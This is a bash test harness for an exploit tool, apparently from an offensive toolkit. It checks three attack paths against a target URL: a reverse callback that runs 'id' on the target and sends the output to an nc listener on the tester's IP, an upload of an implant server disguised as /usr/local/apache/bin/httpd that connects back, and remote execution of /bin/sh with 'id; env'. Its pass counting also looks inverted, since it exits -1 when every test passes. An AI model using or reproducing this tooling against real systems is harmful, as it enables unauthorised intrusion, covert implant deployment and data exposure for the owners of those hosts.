#!/bin/bash


RUN=${0%%_test}
TGTURL=$1
MY_IP=$2
TEST=$3
PASS_CNT=3

if [ -z $TGTURL ] || [ -z $MY_IP ]; then
   echo "usage: $0 TARGETURL MY_IP [TEST]" >&2
   echo "    Run the TEST against TARGETURL where the box running the"
   echo "    test has address MY_IP. If TEST is not given, all are run."
   echo "    Available tests are:"
   echo "        callback, uploadnrun_nopen, runexisting"
   exit 1;
fi

if ! which noclient; then
   echo "noclient not found. Put it somewhere in the path." >&2
   exit 1;
fi

if ! which noserver.static; then
    echo "noserver.static not found. Put it somewhere in the path." >&2
    exit 1;
fi

test_callback() {
    echo "Running callback test..."
    echo "id; exit" | nc -lp 7878 &> callback.sh.out &
    echo "$RUN $TGTURL  callback $MY_IP 7878"
    $RUN $TGTURL callback $MY_IP 7878
    to=30;
    while (( $to > 0 )) && ! grep -q 'uid=' callback.sh.out; do 
        sleep 1;
        to=$(( $to - 1 ));
        echo -n .
    done

    if grep -q 'uid=' callback.sh.out; then
        rm -f callback.sh.out
        echo "callback --> TEST_RESULT_FINAL_SUCCESS"
        return 0
    else
        pkill nc
        echo "callback --> TEST_RESULT_FINAL_FAIL"
        return 1
    fi
}

test_uploadnrun_nopen() {
    echo "Running uploadnrun nopen test..."
    noclient -l 7878 -c '-exit' &> uploadnrun_nopen.no.out &
    echo "$RUN $TGTURL uploadnrun -e 'D=-c $MY_IP:7878' $(which noserver.static) /usr/local/apache/bin/httpd"
    $RUN $TGTURL uploadnrun -e "D=-c $MY_IP:7878" $(which noserver.static) /usr/local/apache/bin/httpd 
    to=30;
    while (( $to > 0 )) && ! grep -q 'Accepted connection from' uploadnrun_nopen.no.out; do 
        sleep 1; 
        to=$(( $to - 1 )); 
        echo -n .
    done

    if grep -q 'Accepted connection from' uploadnrun_nopen.no.out ; then
        rm -f uploadnrun_nopen.no.out 
        echo "uploadnrun nopen --> TEST_RESULT_FINAL_SUCCESS"
        return 0
    else
        pkill noclient
        echo "uploadnrn nopen --> TEST_RESULT_FINAL_FAIL"
        return 1
    fi
}

test_runexisting() {
    echo "Running runexisting test..."
    echo "$RUN $TGTURL runexisting -e FOO=BAR /bin/sh /bin/sh -c 'id; env'"
    $RUN $TGTURL runexisting -e FOO=BAR /bin/sh /bin/sh -c 'id; env' > runexisting.out

    if grep -q 'uid=' runexisting.out && grep -q 'FOO=BAR' runexisting.out ; then
        echo "runexisting --> TEST_RESULT_FINAL_SUCCESS"
        return 0
    else
        echo "runexisting --> TEST_RESULT_FINAL_FAIL"
        return 1
    fi
}

case "$TEST" in
callback)
    test_callback
    exit $?
    ;;
uploadnrun_nopen)
    test_uploadnrun_nopen
    exit $?
    ;;
runexisting)
    test_runexisting
    exit $?
    ;;
"")
    test_callback
    let PASS_CNT+=$?
    test_uploadnrun_nopen
    let PASS_CNT+=$?
    test_runexisting
    let PASS_CNT+=$?
    if (( $PASS_CNT == 3 )); then
        echo "ALL TESTS PASSED"
        exit -1
    else
        echo "SOME TESTS FAILED"
        exit 0
    fi
esac
